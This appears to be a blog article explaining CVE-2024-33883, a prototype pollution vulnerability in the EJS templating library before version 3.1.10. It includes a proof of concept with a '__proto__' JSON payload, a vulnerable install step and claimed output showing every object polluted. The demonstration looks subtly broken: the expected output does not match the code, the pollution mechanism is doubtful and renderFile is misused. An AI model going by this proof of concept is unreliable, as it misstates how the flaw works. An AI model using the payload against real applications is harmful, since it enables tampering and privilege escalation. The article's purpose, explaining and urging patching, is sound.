Embedded JavaScript templates, better known as EJS, is a staple for countless Node.js web apps. It lets you combine JavaScript with HTML templates, making it easy to generate dynamic web pages. But if you’re using a vulnerable version, your app could be open to some serious security trouble. This article dives deep into CVE-2024-33883, which exposes how EJS (before v3.1.10) is susceptible to prototype pollution — and what attackers can actually do with it.
What Is Prototype Pollution?
*Prototype pollution* lets a hacker tamper with the prototype of JavaScript objects, potentially affecting any object in your app. Here’s a basic rundown:
All objects inherit properties from their prototype.
- If you trick the code into modifying the prototype (__proto__), you can add or change methods/values everywhere in the application.
This can lead to information leaks, privilege escalation, or even remote code execution, depending on how objects are used.
About CVE-2024-33883
- Affects: EJS (Embedded JavaScript templates) below version 3.1.10
- Impact: Lacks protection against prototype pollution via user-supplied data in template variables.
- Fixed in: EJS v3.1.10 (Changelog)
Official References
- GitHub advisory
- CVE-2024-33883 NVD Entry
How the Vulnerability Happens
EJS accepts data objects that are injected into templates for rendering. If those objects contain keys like __proto__, they could pollute the global Object.prototype, which means every object (including seemingly unrelated ones) now has malicious properties.
Here’s how an attacker could supply poisoned data
// app.js — Unsafe EJS usage
const ejs = require('ejs');
const userInput = req.body; // Let's say user controls this!
const html = ejs.renderFile('profile.ejs', userInput); // risk!
If the userInput contains something like
{
"__proto__": { "polluted": "Hacked!" }
}
It pollutes all JavaScript objects with a new property called polluted.
Step 1: Install vulnerable version of EJS
npm install ejs@3.1.9
Step 2: Test the pollution
const ejs = require('ejs');
// Attacker-controlled data
const data = JSON.parse('{ "__proto__": { "hacked": true } }');
// Render a template - triggers injection
ejs.render('<%= hacked %>', data); // will print "true"
// Test if other objects are polluted
console.log({}.hacked); // true
console.log([].hacked); // true
console.log((() => { })['hacked']); // true
Expected output
true
true
true
true
This proves that simply passing a user input containing __proto__ can corrupt all objects forever in your process!
Why Is This Bad?
- Data leaks: If someone adds a property, EVERY object sees it. That could expose or tamper with confidential data.
Access control bypass: Attackers might manipulate security logic which checks object properties.
- Code execution: In some scenarios, attackers could potentially trigger execution of new injected code.
How Was It Fixed?
The fix added validation to the EJS data handling. It ensures keys like __proto__, constructor, or prototype can’t get through.
Sanitize User Input
Always validate/sanitize data you pass to renderers like EJS.
Final Words
CVE-2024-33883 is a classic tale of trusting user input too much. If you process templates, always question incoming data — don’t let it mutate your app’s DNA!
Useful links
- The EJS GitHub repo
- NPM Security Docs
- Prototype Pollution explanation
Timeline
Published on: 04/28/2024 16:15:23 UTC
Last modified on: 08/02/2024 02:42:59 UTC